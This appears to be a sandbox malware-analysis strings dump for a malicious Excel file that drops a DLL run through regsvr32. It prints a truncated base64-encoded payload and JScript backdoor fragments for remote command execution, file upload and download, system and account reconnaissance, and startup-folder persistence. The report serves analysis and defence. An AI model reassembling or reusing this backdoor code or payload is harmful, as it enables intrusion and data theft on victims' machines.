R4Q2pEZy9vQmRBV0QrZ0oxT1VpTEJXb1dBQUJJaGNCMEJ2L1EiOw0KCQltb2NrRGxsNjQgKz0gImhjQjBFVXlMeG92VFNJdk42THIrLy8rRndIVVdNOEJJaTNRa1FFaUxiQ1E0U0l0Y0pEQklnOFFvdzB5THhvdlRTSXZOU0lsOEpFam9udnYvLzRQN0FZdjRENFYrQUFBQWhjQVAiOw0KCQltb2NrRGxsNjQgKz0gImhiQUFBQUNMRGVVVkFBQ0Z5UStPb2dBQUFQL0ppUTNWRlFBQVNJc043aFVBQUVpRnlRK0VpZ0FBQUVpTEJkWVZBQUJJZytnSVNEdkJTSWtGeUJVQUFISW1TSU00QUhRUS94QkkiOw0KCQltb2NrRGxsNjQgKz0gIml3Mi9GUUFBU0lzRnNCVUFBRWlENkFoSU84RklpUVdpRlFBQWM5ci9GWUlHQUFCSXh3V1hGUUFBQUFBQUFPczZoZHQwQllQN0EzVXhUSXZHaTlOSWk4M283LzMvLzRYQWRRUXoiOw0KCQltb2NrRGxsNjQgKz0gIi8rc2NoZjkwR0VpTEJYUVZBQUJJaGNCMERFeUx4b3ZUU0l2Ti85Q0wrRWlMZENSQVNJdHNKRGhJaTF3a01JdkhTSXQ4SkVoSWc4UW93LzhsRWdZQUFNek16TXpNek16TXpNeEkiOw0KCQltb2NrRGxsNjQgKz0gImcrd29TSWxzSkRoSWlYUWtRRWlKZkNSSU0vOUlpVndrTUVpTDhiMy8vLy8vU0l2TzZFUUFBQUJJaGNCSWk5aDFJNHZQL3hXK0JRQUFSSTJmNkFNQUFFR0IrMkRxQUFCQmkvc1AiOw0KCQltb2NrRGxsNjQgKz0gIlIvMDcvWFhRU0l2RFNJdDhKRWhJaTNRa1FFaUxiQ1E0U0l0Y0pEQklnOFFvdy84bHBBVUFBUDhsdGdVQUFNek16TXpNek16TXpNek16R1ptWnBCbVptYVFacEJJZyt3UVRJa1UiOw0KCQltb2NrRGxsNjQgKz0gIkpFeUpYQ1FJVFRQYlRJMVVKQmhNSzlCTkQwTFRaVXlMSENVUUFBQUFUVHZUY3habVFZSGlBUEJOalpzQThQLy9RY1lEQUUwNzAzWHdUSXNVSkV5TFhDUUlTSVBFRU1NQUFBQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFFQWtBQUFBQUFBQVZDUUFBQUFBQUFCaUpBQUFBQUFBQUhBa0FBQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQUFoQ1FBQUFBQUFBQ1dKQUFBQUFBQUFLZ2tBQUFBQUFBQXZpUUFBQUFBQUFETUpBQUFBQUFBQU5na0FBQUFBQUFBNWlRQUFBQUFBQUQrSkFBQUFBQUFBQTRsQUFBQUFBQUEiOw0KCQltb2NrRGxsNjQgKz0gIklpVUFBQUFBQUFBMEpRQUFBQUFBQUVnbEFBQUFBQUFBVkNVQUFBQUFBQUJtSlFBQUFBQUFBSFlsQUFBQUFBQUFpQ1VBQUFBQUFBQ2tKUUFBQUFBQUFMUWxBQUFBQUFBQXhDVUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQUFBQURhSlFBQUFBQUFBTzRsQUFBQUFBQUFDaVlBQUFBQUFBQVlKZ0FBQUFBQUFDNG1BQUFBQUFBQVBpWUFBQUFBQUFDT0pnQUFBQUFBQUFBQUFBQUFBQUFBY0NZQUFBQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQjhKZ0FBQUFBQUFJUW1BQUFBQUFBQVdpWUFBQUFBQUFDV0pnQUFBQUFBQUtJbUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQUFBQUFBQUNWekNsQkpSRDBsWkFvbGN3QUFBQUJPZEZWdWJXRndWbWxsZDA5bVUyVmpkR2x2YmdBQUFBQnVkR1JzYkM1a2JHd0FBQUFsY3lBbGN3QUFBQUFBQUFCTmIyTnIiOw0KCQltb2NrRGxsNjQgKz0gIlRXOWtkV3hsUFNWekNsSmxZV3hEYldROUpYTWdKWE1LVkdsdFpVOTFkRDBsWkFvS0FBQUFBQzVrYkd3QUFBQUFMbWx1YVFBQUFBQnRiMk5yQUFBQUFHTm1ad0J5WldGc0FBQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFHRnlaM01BQUFBQWIzVjBaZ0FBQUFCMGFXMWxBQUFBQUFFRUFRQUVRZ0FBQVkwSkFJMTBDUUFWWkFnQUVGUUhBQXMwQmdBRVFnQUFBUm9KQUJvMEJnQVRkQWtBRG1RSUFBbFUiOw0KCQltb2NrRGxsNjQgKz0gIkJ3QUVRZ0FBSVFBQUFNQVJBQUFYRWdBQVZDSUFBQ0VJQWdBSTFFQUJ3QkVBQUJjU0FBQlVJZ0FBQVNFTEFDRmtRd0VoTkVJQklRRTZBUkx3RU9BT3dBeHdDMUFBQUFFTkJRQU4iOw0KCQltb2NrRGxsNjQgKz0gIk5Dd0FEUUVxQUFad0FBQUJEd1lBRDJRTUFBODBDZ0FQY2d0d0lRQUFBTEFWQUFCZUZ3QUF0Q0lBQUNFSUFnQUlkTE1Dc0JVQUFGNFhBQUMwSWdBQUFjY0hBTWRrc2dJYk5MUUMiOw0KCQltb2NrRGxsNjQgKz0gIkd3R3dBZ1pRQUFBQkJBRUFCQklBQUJBakFBQUFBQUFBQUFBQUFFd21BQUFBSUFBQUNDUUFBQUFBQUFBQUFBQUFaQ1lBQVBnZ0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQUFBQUJBSkFBQUFBQUFBRlFrQUFBQUFBQUFZaVFBQUFBQUFBQndKQUFBQUFBQUFJUWtBQUFBQUFBQWxpUUFBQUFBQUFDb0pBQUFBQUFBQUw0a0FBQUFBQUFBekNRQUFBQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBRFlKQUFBQUFBQUFPWWtBQUFBQUFBQS9pUUFBQUFBQUFBT0pRQUFBQUFBQUNJbEFBQUFBQUFBTkNVQUFBQUFBQUJJSlFBQUFBQUFBRlFsQUFBQUFBQUFaaVVBQUFBQUFBQjIiOw0KCQltb2NrRGxsNjQgKz0gIkpRQUFBQUFBQUlnbEFBQUFBQUFBcENVQUFBQUFBQUMwSlFBQUFBQUFBTVFsQUFBQUFBQUEyaVVBQUFBQUFBRHVKUUFBQUFBQUFBb21BQUFBQUFBQUdDWUFBQUFBQUFBdUpnQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQUFBRDRtQUFBQUFBQUFqaVlBQUFBQUFBQUFBQUFBQUFBQUFIQW1BQUFBQUFBQWZDWUFBQUFBQUFDRUpnQUFBQUFBQUZvbUFBQUFBQUFBbGlZQUFBQUFBQUNpSmdBQUFBQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQUFBQUFBQUFBQTJRRkhaWFJVYUhKbFlXUkRiMjUwWlhoMEFBQldBRU55WldGMFpVWnBiR1ZCQUdZQlIyVjBSbWxzWlZOcGVtVUFSZ05UWlhSVWFISmxZV1JEYjI1MFpYaDAiOw0KCQltb2NrRGxsNjQgKz0gIkFBQWlBMU5sZEVacGJHVlFiMmx1ZEdWeUFBQ1NBbEJ5YjJObGMzTXpNa1pwY25OMEFBQ1dBMWRoYVhSR2IzSlRhVzVuYkdWUFltcGxZM1FBaVFOV2FYSjBkV0ZzUm5KbFpRQ3EiOw0KCQltb2NrRGxsNjQgKz0gIkExZHlhWFJsUm1sc1pRQ0NBazl3Wlc1UWNtOWpaWE56QUpnQlIyVjBVSEpwZG1GMFpWQnliMlpwYkdWSmJuUkJBSW9EVm1seWRIVmhiRVp5WldWRmVBQzBBbEpsWVdSUWNtOWoiOw0KCQltb2NrRGxsNjQgKz0gIlpYTnpUV1Z0YjNKNUFHa0FRM0psWVhSbFVISnZZMlZ6YzBFQUFHUURWR1Z5YldsdVlYUmxVSEp2WTJWemN3QUFzUUpTWldGa1JtbHNaUUFBb2dGSFpYUlFjbTlqUVdSa2NtVnoiOw0KCQltb2NrRGxsNjQgKz0gImN3QUFod05XYVhKMGRXRnNRV3hzYjJNQUFJZ0RWbWx5ZEhWaGJFRnNiRzlqUlhnQUFKNEJSMlYwVUhKcGRtRjBaVkJ5YjJacGJHVlRkSEpwYm1kQkFBQ1VBbEJ5YjJObGMzTXoiOw0KCQltb2NrRGxsNjQgKz0gIk1rNWxlSFFBcHdGSFpYUlFjbTlqWlhOelNXUUFBSDhCUjJWMFRXOWtkV3hsUm1sc1pVNWhiV1ZCQUFDQkFVZGxkRTF2WkhWc1pVaGhibVJzWlVFQUFIUUFRM0psWVhSbFZHOXYiOw0KCQltb2NrRGxsNjQgKz0gImJHaGxiSEF6TWxOdVlYQnphRzkwQUFBMkFFTnNiM05sU0dGdVpHeGxBTE1EVjNKcGRHVlFjbTlqWlhOelRXVnRiM0o1QUFET0FsSmxjM1Z0WlZSb2NtVmhaQUFBaGdCRVpXeGwiOw0KCQltb2NrRGxsNjQgKz0gImRHVkdhV3hsUVFCTFJWSk9SVXd6TWk1a2JHd0FBTDhDYzNCeWFXNTBaZ0J0YzNaamNuUXVaR3hzQUFEMEFGOXBibWwwZEdWeWJRQmtBbVp5WldVQUFKa0NiV0ZzYkc5akFBQmMiOw0KCQltb2NrRGxsNjQgKz0gIkExTnNaV1Z3QUt3QlgzTjBjbWxqYlhBQUFLRUNiV1Z0YzJWMEFBQUFBQUFBQUFBQUFFcyt1bE1BQUFBQTRpWUFBQUVBQUFBQkFBQUFBUUFBQU5nbUFBRGNKZ0FBNENZQUFMQVYiOw0KCQltb2NrRGxsNjQgKz0gIkFBRDBKZ0FBQUFCdGIyTnJYM0oxYmpKZmVEWTBMbVJzYkFCRWJHeFNaV2RwYzNSbGNsTmxjblpsY2dBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUJBQUFQa1EiOw0KCQltb2NrRGxsNjQgKz0gIkFBQ0FJZ0FBQUJFQUFMTVJBQUJ3SWdBQXdCRUFBQmNTQUFCVUlnQUFGeElBQUlRVkFBQkFJZ0FBaEJVQUFLQVZBQUF3SWdBQXNCVUFBRjRYQUFDMElnQUFYaGNBQUdrWUFBQ2ciOw0KCQltb2NrRGxsNjQgKz0gIklnQUFhUmdBQUlRWUFBQ1FJZ0FBa0JnQUFHd1pBQUQ0SVFBQWNCa0FBT0FhQUFBQUlnQUE4Qm9BQUY0YkFBQVlJZ0FBZ0JzQUFNNGJBQURJSWdBQUFBQUFBQUFBQUFBQUFBQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQT0iOw0KCQl0aGlzLkJhc2U2NF9Nb2NrRGxsNjQgPSBtb2NrRGxsNjQ7DQoJfSwNCglmaXJlOmZ1bmN0aW9uKCl7DQoJCXdpdGgob3J6KXsNCgkJCWluaXRCYXNlKCk7DQoJCQlkb3sNCgkJCQl0cnl7bWFpbigpO31jYXRjaChlcnIpe2VyckxvZyhlcnIpO30NCgkJCQl0cnl7aWYob0lFKW9JRS5RdWl0KCk7fWNhdGNoKGUpe30NCgkJCQlXU2NyaXB0LlNsZWVwKHJldHJ5SW50ZXJ2YWwpOw0KCQkJfXdoaWxlKGJGb3JldmVyVHJ5IHx8IHJldHJ5VGltZS0tKTsNCgkJfQ0KCX0NCn07DQpvcnouZmlyZSgpOw==';
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
randStr:function(len){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
rcv.innerText = '';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
ReadFile
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
realSec = 3;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
realShow = 0;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
realTimeOut = 5;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
realUrl = url?url:this.initUrl
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
RegCloseKey
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
RegOpenKeyExW
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
RegQueryValueW
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
RegSvr32
Unicode based on Hybrid Analysis (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
regsvr32.pdb
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
req:function(url, method, data, cookie, proxy, username, password){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
res += '['+i+'] ' + comment + '\n';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
res += '\n';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
res += 'Owner = ' + outParams.User+'\\'+outParams.Domain + '\n';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
res += 'ProcessID='+oExec.ProcessID+',timeout='+timeout+',ExitCode='+oExec.ExitCode+'\r\n';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
res += 'ProxyEnable='+this.oShell.RegRead('HKEY_USERS\\'+sid+'\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ProxyEnable');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
res += 'ProxyServer='+this.oShell.RegRead('HKEY_USERS\\'+sid+'\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ProxyServer');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
res += acc.Domain+'\\'+acc.Name+'|'+acc.SID+'|'+acc.Description+'\n';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
res += ele;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
res += i+": "+obj[i]+',\n';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
res += objQuickFix.HotFixID + '\n';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
res += proc.Name + ' ' + proc.ProcessId + '\n';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
res += property.Name + ' = ' + property.Value.toString() + '\n';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
res += s.Name+' '+s.Caption+' '+s.Description+' '+s.LogonType.toString()+'\n';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
res += table.charAt(Math.floor(Math.random() * table.length));
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
res += this._pTree(proc.ProcessId, level+1);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
res = '';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
res = 'PID=' + pid.toString()+'\n';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
res = f.ReadAll();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
res = f.Size;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
res = outFile.ReadAll();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
res+='\n';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
res='read outFile '+mockOutPath+' failed';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
ret='';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
retryInterval : 1000*60*25,
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
retryTime : 3,
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return res;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return !colProcess.atEnd();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return '';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return '[Timeout] outf: '+outFilePath+' pid='+pid;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return 'done';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return 'ProcessID='+oExec.ProcessID+',timeout<=0';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return 'unknown';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return 'Write scriptFile error';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return 0;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return ele.AddressWidth;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return err.name+':'+ (err.number & 0xFFFF).toString() + "|" + err.description;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return i!=3;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return i<arr.length;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return ie;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return info;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return myDate.getFullYear()+"-"+(myDate.getMonth()+1)+"-"+myDate.getDate()+" "+myDate.getHours()+":"+ minute +":"+ seconds
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return oHttp.getAllResponseHeaders() + oHttp.responseText;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return out
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
return outParams.ProcessId;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return output;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return pid+' terminated';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return res;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return string;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return this._pTree(pid, 0);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return this.encode(this.caseCode + this.now() + '\n' + ret);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return this.encode(this.caseDownFile + this.now() + '\n' + 'Download Not Supported!');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return this.encode(this.caseDownFile + this.now() + '\n' + filePath + '\ndownCount=' + count
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return this.encode(this.caseExecCmd + this.now() + '\n' + 'unknown case: '+caseStr+'\n'+tmp);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return this.encode(this.caseExecCmd + this.now() + '\n' + this.execWithCScript(data, 10));
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return this.encode(this.caseUpFile + this.now() + '\n' + 'UpArg Err!');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return this.encode(this.caseUpFile + this.now() + '\n' + 'Upload BigFile Not Supported!');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return this.encode(this.caseUpFile + this.now() + '\n' + upPath + '\n' + size + '\nUpload OK!');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return this.encode(this.caseUpFile + this.now() + '\nupFile=' + this.upFile + '\nNoAccessToWrite!');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return this.encode(this.caseUpFile + this.now() + '\nupFile=' + this.upFile + '\nupSize=' +this.upSize
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return this.oShell.Run(cmdline, realShow, false);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return this.upInfo()+'\n'+this.downInfo();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return utftext;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return(s);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
ReviewToken
Unicode based on Runtime Data (EXCEL.EXE )
RibbonMinAppHeight
Unicode based on Runtime Data (EXCEL.EXE )
RibbonMinAppWidth
Unicode based on Runtime Data (EXCEL.EXE )
ription
Unicode based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.255000.00000002.mdmp)
RtlImageNtHeader
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
run:function(cmdline, show){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
s += "---Network drive mappings\r\n";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
s += "---Network printer mappings\r\n";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
s += "\r\n";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
s += "Drive " + oDrives.Item(i) + " - " + oDrives.Item(i + 1) + "\r\n";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
s += "Not Ready";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
s += "Port " + oPrinters.Item(i) + " - " + oPrinters.Item(i + 1) + "\r\n";;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
s += drv.Path + " - ";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
s += freeGB.toFixed(3) + " GB / ";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
s += totalGB.toFixed(3) + " GB";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
s = e.item();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
s\%s~%d
Unicode based on Dropped File (~HFYJEZHM.dll.305389)
S__kiaran
Ansi based on Image Processing (screen_4.png)
Schrmak
Ansi based on Image Processing (screen_4.png)
Schrmart
Ansi based on Image Processing (screen_2.png)
ScreenTipScheme
Unicode based on Runtime Data (EXCEL.EXE )
seconds = "0" + seconds;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
SEDll_Win32.dll
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
SetErrorMode
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
SetFilePointer
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
SetProcessDPIAware
Ansi based on Hybrid Analysis (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
SetUnhandledExceptionFilter
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
setWorkFlag:function(flag){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
SHELL32.dll
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
SHLWAPI.dll
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
ShowButtons
Unicode based on Runtime Data (EXCEL.EXE )
ShowIndicators
Unicode based on Runtime Data (EXCEL.EXE )
showObj:function(obj){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
Si_inl_0ut
Ansi based on Image Processing (screen_4.png)
sId : 'submit',
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
sid = info[1]
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
size = this.base64ToFile(upPath, upData);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
Sleep
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
snd.innerText = this.caseHandler(recvData);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
soft(C) Register Server
Unicode based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.255000.00000002.mdmp)
Software\Microsoft\IMEMIP\0x0409
Unicode based on Runtime Data (EXCEL.EXE )
splitChar : '|',
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
splitChar = ' ';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
startInfo.ShowWindow = 0;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
startupDir : '',
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
strcat_s
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
string += String.fromCharCode(((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63));
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
string += String.fromCharCode(((c & 31) << 6) | (c2 & 63));
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
string += String.fromCharCode(c);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
string = string.replace(/\r\n/g,"\n");
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
StringFileInfo
Unicode based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.255000.00000002.mdmp)
StringFromCLSID
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
StrStrIW
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
submit.click();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
Suchanun_
Ansi based on Image Processing (screen_4.png)
switch(caseStr)
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
swprintf_s
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
SXH_PROXY_SET_PRECONFIG = 0;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
SXH_PROXY_SET_PROXY = 2;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
SysDrive + ':\\Documents and Settings\\'+UserName+'\\Start Menu\\Programs\\Startup',
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
SysDrive + ':\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup',
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
SysDrive + ':\\Users\\'+UserName+'\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup',
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
table = 'ABCDEFGHJKMNPQRSTWXYZabcdefhijkmnprstwxyz2345678';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
TargetConverted
Unicode based on Runtime Data (EXCEL.EXE )
TargetNotConverted
Unicode based on Runtime Data (EXCEL.EXE )
TerminateProcess
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
text = '';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
text = err;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
text = this.errObjToStr(err);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this._keyStr.charAt(enc1) + this._keyStr.charAt(enc2) +
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this._keyStr.charAt(enc3) + this._keyStr.charAt(enc4);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.adoCon = new ActiveXObject('ADODB.Connection');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.adoRec = new ActiveXObject('ADODB.Recordset');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.allStartupDir = this.oShell.SpecialFolders('AllUsersStartup');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.Base64_MockDll32 = mockDll32;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.Base64_MockDll64 = mockDll64;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.base64ToFile(mockDllPath, this.Base64_MockDll32);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.base64ToFile(mockDllPath, this.Base64_MockDll64);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.createIE().Quit();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.dirs += 'allStartupDir:\n'+this.allStartupDir+'\n\n';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
